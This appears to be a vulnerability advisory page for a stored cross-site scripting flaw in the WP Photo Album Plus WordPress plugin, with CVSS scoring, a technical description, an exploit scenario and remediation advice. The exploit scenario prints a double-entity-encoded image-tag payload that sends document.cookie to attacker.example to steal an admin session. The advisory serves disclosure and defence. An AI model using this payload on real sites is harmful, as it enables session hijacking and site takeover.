EUVD-2026-51419
GHSA-xmq9-mfwm-hg4m
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Network-accessible stored XSS with scope change into victim browser; PR:N reflects default open-comment configuration; UI:R required as victim must load the page containing the stored payload.
Primary rating from Vendor (WPScan).
CVSS VectorVendor: WPScan
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Lifecycle Timeline
5DescriptionCVE.org
WP Photo Album Plus is vulnerable to stored Cross-Site Scripting in all versions up to, and including, 9.2.03.001 through a decode-after-sanitize (double-encoding) flaw in the photo-comment pipeline. On write, wppa_do_comment() sanitizes the comment with wppa_filter_html() (wp_kses) followed by wp_strip_all_tags() (wppa-functions.php:2623-2624). Because wp_strip_all_tags() only removes *real* tags, an attacker who submits a double HTML-entity-encoded payload (e.g. &lt;img src=... onload=...&gt;) passes the write filters as harmless entity text and is stored one decode-level down (<img ... onload=...>).
AnalysisAI
Stored XSS in WP Photo Album Plus (all versions up to 9.2.03.001) allows unauthenticated remote attackers to inject persistent malicious scripts into photo comments by exploiting a decode-after-sanitize flaw in the plugin's comment pipeline. The sanitization sequence in wppa-functions.php applies wp_kses then wp_strip_all_tags() on write, but neither function decodes HTML entities before inspecting markup - a double-encoded payload such as &lt;script&gt; passes both filters as harmless text, is stored one entity-decode level down, and renders as executable HTML when a victim's browser processes the page. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires WP Photo Album Plus version 9.2.03.001 or earlier to be installed and active on the target WordPress site, with the photo commenting feature enabled and accessible. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 score of 6.1 Medium (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) accurately characterizes this as network-accessible, low-complexity stored XSS with a cross-site scope change. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An unauthenticated attacker identifies a WordPress site running WP Photo Album Plus with open photo commenting and submits a comment containing a double HTML-entity-encoded payload - for example, a hidden `&lt;img src=x onerror=fetch('https://attacker.example/?c='+document.cookie)&gt;` - which passes the plugin's sanitization pipeline as entity text and is stored in the database. When a site administrator later opens the comment moderation queue or views the affected gallery page, the browser decodes the stored entities into a live HTML image tag, firing the `onerror` handler in the admin's authenticated browser session and silently exfiltrating the admin's session cookie. … |
| Remediation | Update WP Photo Album Plus to version 9.2.04.003 or later, the vendor-released patch that addresses the double-encoding bypass (confirmed by EUVD-2026-51419). … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
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